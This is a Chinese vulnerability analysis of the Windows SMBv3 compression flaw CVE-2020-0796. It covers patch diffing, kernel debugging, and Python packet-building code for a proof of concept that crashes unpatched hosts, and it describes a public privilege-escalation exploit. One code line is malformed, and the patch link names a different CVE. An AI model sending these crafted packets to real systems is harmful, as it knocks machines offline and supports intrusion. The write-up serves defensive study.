微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796深入分析 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796深入分析

千里目安全实验室 漏洞 2020-04-01 15:26:45
收藏

导语:CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。

一、漏洞基本信息

1.SMBv3介绍

服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为“ Microsoft Windows网络” 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,该版本还支持AES-128 GCM加密,并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时,SMB 3.1.1还使安全协商成为必需。

2.漏洞描述

CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

3.漏洞文件

漏洞存在于srv2.sys文件中

4.漏洞函数

该漏洞涉及到了多个函数:

Srv2DecompressMessageAsync

Srv2DecompressData

Smb2GetHonorCompressionAlgOrder

Smb2SelectCompressionAlgorithm

Smb2ValidateCompressionCapabilities

二、漏洞深入分析

1. 基础数据结构

主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构:

图片1.png

首先,说明了结构使用的场景:客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。

对以上各字段做简要说明:

字段含义
ProtocolId (4 bytes)协议标识符。该值必须设置为0x424D53FC,也以网络顺序表示为0xFC,“ S”,“ M”和“ B”。
OriginalCompressedSegmentSize (4 bytes)原始压缩数据的大小(以字节为单位)。
CompressionAlgorithm (2 bytes)此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一,“ NONE”除外。
Flags (2 bytes)必须为2个特定值之一
Offset/Length (4 bytes)如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED,则该字段必须解释为长度,压缩有效payload的长度(以字节为单位);否则,该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量(以字节为单位)。

CompressionAlgorithms字段中指定的算法:

图片2.png

Flags字段可选的固定值:

图片3.png

2. 分析环境搭建及配置

Windows版本:1909,未安装安全更新补丁(KB4551762)

配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransport kdnet.dllbcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000bcdedit /debug on

结果如下:

图片4.png

调试机windbg配置:

图片5.png

3. 静态分析

3.1 补丁对比

首先进行安全更新前后的补丁对比:

图片6.png

根据已掌握信息,重点查看Svr2DecompressData函数:

图片7.png

可以很明显看到添加了一个RtlULongAdd函数的调用,根据以往SMB的漏洞,新增该函数通常是进行某些数据运算然后进行边界检查。

3.2 IDA反编译查看源代码

srv2.sys文件拖入IDA,先观察函数实现:

1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包,并根据ProtocolId设置对应的处理函数:

图片8.png

图片9.png

如果判断数据包中为压缩的数据(ProtocolID = 0xfc4d5342),则调用处置函数--Srv2DecompressMessageAsync函数。

2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数:

图片10.png

Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数,而是继续调用了Srv2DecompressData函数,跟进查看Srv2DecompressData函数:

图片11.png

在Srv2DecompressData函数中可以看到数据处理的部分:在进行buffer分配时,会调用SrvNetAllocateBuffer进行分配。但是在调用时,并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查,对二者相加的和也未进行安全检查。此处就存在一个整数溢出,如果二者的和为一个特别大的值,会超出内存存储范围,值会变成一个很小的值。

3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数,进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。

nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中,该函数实际进行的处理就是:

图片12.png

由上面的代码可以看到在进行数据解压缩时,首先进行smb compress协议数据包的解析,获取其中包含的需要解压缩的数据的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较,确认其大小不大于OriginalCompressedSegmentSize,然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize,则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查,所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出,此时v21就可以设置一个极大值,但可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。

4. 动态分析

4.1 SMB2通信流程

SMB2的通信流程如下图所示:

图片13.png

SMB2协议定义的内容:

Protocol negotiation (SMB2 NEGOTIATE)  //协议协商

User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF)   //用户认证

Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT)  //共享访问

File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL)    //文件访问

Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY)   //目录访问

Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO)      //卷访问

Cache coherency (SMB2 OPLOCK_BREAK)             //缓存一致性       

Simple messaging (SMB2 ECHO)          //消息传递

SMB2.1新增:

Protocol Negotiation (SMB2 NEGOTIATE)   

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 WRITE)

Cache Coherency (SMB2 OPLOCK_BREAK)

Hash Retrieval (SMB2 IOCTL)   //哈希检索

SMB3.x新增:

Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL)  //dialect验证

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)

Hash Retrieval (SMB2 IOCTL)

Encryption (SMB2 TRANSFORM_HEADER)

SMB3.1.1新增(1903引入):

Compression (SMB2 COMPRESSION_TRANSFORM_HEADER)   //支持压缩数据

4.2 连接建立过程

首先是NEGOTIATE过程,client端发送一个NEGOTIATE请求,server端回复一个NEGOTIATE响应。

图片14.png

参考SMB2通信pcap和官方协议文档构造数据包

# NetBios Session Service
Negotiate_pkt=b'\x00'                  # Message Type
Negotiate_pkt+=b'\x00\x00\xe6'         # Length
# SMB2 Header
Negotiate_pkt+=b'\xfe\x53\x4d\x42'     # ProtocolId
Negotiate_pkt+=b'\x40\x00'             # StructureSize
Negotiate_pkt+=b'\x00\x00'             # CreditCharge
Negotiate_pkt+=b'\x00\x00'             # ChannelSequence
Negotiate_pkt+=b'\x00\x00'             # Reserved
Negotiate_pkt+=b'\x00\x00'             # Command
Negotiate_pkt+=b'\x01\x00'             # CreditRequest
Negotiate_pkt+=b'\x00\x00\x00\x00'     # Flags
Negotiate_pkt+=b'\x00\x00\x00\x00'     # NextCommand(Chain Offset)
Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00'     # MessageId 
Negotiate_pkt+=b'\xff\xfe\x00\x00'     # ProcessId
Negotiate_pkt+=b'\x00\x00\x00\x00'     # TreeId
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00'     # SessionId
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  # Signature
# Negotiate Protocol Request
Negotiate_pkt+=b'\x24\x00'             # StructureSize
Negotiate_pkt+=b'\x05\x00'             # DialectCount
Negotiate_pkt+=b'\x01\x00'             # SecurityMode
Negotiate_pkt+=b'\x00\x00'             # Reserved 
Negotiate_pkt+=b'\x40\x00\x00\x00'     # Capabilities 
Negotiate_pkt+=b'\xa2\x8e\xf8\x84'     #ClientGuid 
Negotiate_pkt+=b'\xe6\x65\xea\x11'
Negotiate_pkt+=b'\xb4\xc6\x00\x1c'
Negotiate_pkt+=b'\x42\xbf\x6a\x9c'
Negotiate_pkt+=b'\x70\x00\x00\x00'     # NegotiateContextOffset
Negotiate_pkt+=b'\x03\x00'             # NegotiateContextCount
Negotiate_pkt+=b'\x00\x00'             # Reserved2
Negotiate_pkt+=b'\x02\x02'             # Dialect: SMB 2.0.2
Negotiate_pkt+=b'\x10\x02'             # Dialect: SMB 2.1
Negotiate_pkt+=b'\x00\x03'             # Dialect: SMB 3.0
Negotiate_pkt+=b'\x02\x03'             # Dialect: SMB 3.0.2
Negotiate_pkt+=b'\x11\x03'             # Dialect: SMB 3.1.1
Negotiate_pkt+=b'\x00\x00'

#Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
Negotiate_pkt+=b'\x01\x00'             # Type
Negotiate_pkt+=b'\x26\x00'             # DataLength
Negotiate_pkt+=b'\x00\x00\x00\x00'     # Reserved
Negotiate_pkt+=b'\x01\x00'             # HashAlgorithmCount
Negotiate_pkt+=b'\x20\x00'             # SaltLength
Negotiate_pkt+=b'\x01\x00'             # HashAlgorithm
Negotiate_pkt+=b'\xcf\xa4\x93\xd0'     # Salt
Negotiate_pkt+=b'\xf3\xd1\x41\x8c'
Negotiate_pkt+=b'\x1a\xcb\x36\x4d'
Negotiate_pkt+=b'\x9f\x77\x27\x6d'
Negotiate_pkt+=b'\x72\x80\x2b\xf4'
Negotiate_pkt+=b'\x71\x94\x64\x99'
Negotiate_pkt+=b'\xb3\x91\x4b\x7f'
Negotiate_pkt+=b'\xf8\x92\x47\xe2'
Negotiate_pkt+=b'\x00\x00'

#Negotiate Context SMB2_COMPRESSION_CAPABILITIES
Negotiate_pkt+=b'\x03\x00'             # Type
Negotiate_pkt+=b'\x0e\x00'             # DataLength
Negotiate_pkt+=b'\x00\x00\x00\x00'     # Reserved
Negotiate_pkt+=b'\x01\x00'             # CompressionAlgorithmCount
Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00
Negotiate_pkt+=b'\x02\x00'             # CompressionAlgorithmId:LZ77

(备注:我的测试机抓去的流量包中有4个NegotiateContext,为了保证PoC的通用性,删除掉其中两个与我们关系不大的NegotiateContext,所以最后使用2个NegotiateContext。注意,删除后需要修改前面的数据长度。)

根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER:

根据前面的数据结构,前面几个字段正常构造,因为Flags分为两种情况:FLAG_NONE和FLAG_CHAINED,为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段,当选用FLAG_NONE时该处四字节代表offset,offset为从offset所占4字节结束到后面compressed data起始的位置偏移量;当选用FLAG_CHAINED时该处四字节代表length,length为后面compressed payload的大小。

根据COMPRESSION_TRANSFORM_HEADER的结构,初始构造数据包如下:

# NetBios
Smb2_crash_pkt=b'\x00'                   # Message Type
Smb2_crash_pkt+=b'\x00\x00\x20'          # Length
# SMB2 Compression Transform Header
Smb2_crash_pkt+=b'\xfc\x53\x4d\x42'      # ProtocolId
Smb2_crash_pkt+=b'\x10\x00\x00\x00'      # OriginalCompressedSegmentSize
Smb2_crash_pkt+=b'\x02\x00'              # CompressionAlgorithm LZ77
Smb2_crash_pkt+=b'\x00\x00'              # Flags
Smb2_crash_pkt+=b'\x01\x00\x00\x00'      # Offset
# Compressed SMB3 Data
#因为我们此时不知道算法内部的数据处理过程,所以先随意给压缩数据进行调试
Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'

4.3 WinDbg动态调试

1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ,并发送前面构造的数据包:

图片15.png

断点命中,系统停在srv2!Srv2DecompressData函数。

2. 单步跟踪,来到srv2!Srv2DecompressData + 0x68地址处:

图片16.png

在mov rax, qword ptr [rsp+30]指令处,查看rsp+30中的内容,发现为构造的压缩数据头部。

3. 继续跟踪,来到调用SrvnetAllocateBuffer指令处:

图片17.png

前面IDA反汇编知道,该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现,rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查,可以构想漏洞是由该和检查不足导致。

4. 跟进,分析SmbCompressionDecompress函数:

微信截图_20200401105146.png

该函数中,rcx为第一个参数,指定了使用的压缩算法的类型,rdx为第二个参数,指定了压缩数据存放的位置,读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析,需要了解压缩算法的具体实现,但目前对LZ77算法的信息不是十分完善,暂未进行重写。

至此,漏洞原理已分析清楚,只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。

5. crash的PoC复现

修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff,同时另外一个字段值非0,发送数据包进行验证:

图片19.png

成功触发漏洞,造成目标主机蓝屏,PoC测试成功。

6. 本地提权的EXP复现

2020年3月30日,互联网中出现公开的本地权限提取利用EXP,泄漏的EXP为exe文件,直接在目标主机中进行运行即可实现本地权限提取,运行结果:

图片20.png

而查看该LPE EXP的关键源代码:

图片21.png

该EXP主要是利用了往’winlogon.exe’中写入shellcode的方式来实现权限提升的目的,而shellcode的位置和指针通过利用SMB漏洞进行部署。

7. 更新后的srv2.sys文件

对更新后的srv2.sys文件进行IDA反编译可以发现,主要是对Srv2DecompressData函数进行了更新,添加了一些数据长度的检查,与补丁对比信息吻合。

图片22.png

8. 流量分析

使用两个不同的PoC造成的蓝屏的流量截图如下:

第一种,设置Offset/Length字段为ffffffff:

图片23.png

第二种,设置OriginalCompressedSegmentSize字段为ffffffff:

图片24.png

9. 漏洞防御策略

熟悉了漏洞原理后,可以轻松在流量测进行防御,只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。

利用此漏洞,远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机,或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接,就可以在易受攻击的系统上以SYSTEM特权执行任意代码。

目前互联网中已出现公开的EXP,微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析,此漏洞危害较大,且漏洞信息已快速传播,建议用户尽快安装安全更新补丁。

三、影响范围

目前受影响的Microsoft版本:

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

四、修复建议

该漏洞微软目前已发布针对此漏洞的安全更新补丁,千里目实验室建议广大用户及时确认所用Windows版本,并下载对应版本安全补丁进行更新:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

时间轴

2020/03/11  深信服千里目实验室监测到互联网中关于CVE-2020-0796的信息

2020/03/11  深信服千里目实验室发布微软3月份补丁日重点漏洞通告,涉及该漏洞        

2020/03/12  微软正式更新CVE-2020-0796漏洞补丁

2020/03/13  深信服千里目实验室发布漏洞分析文章以及深信服解决方案

2020/03/14  互联网中出现蓝屏PoC,千里目实验室第一时间进行了复现分析,深信服解决方案可以轻松防御

2020/03/30  互联网中出现本地提权利用EXP

2020/03/31  深信服千里目实验室进行EXP分析,并发布漏洞深入分析文章

参考链接

[1].https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

[2].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69

[3].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271

[4].https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

[5].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论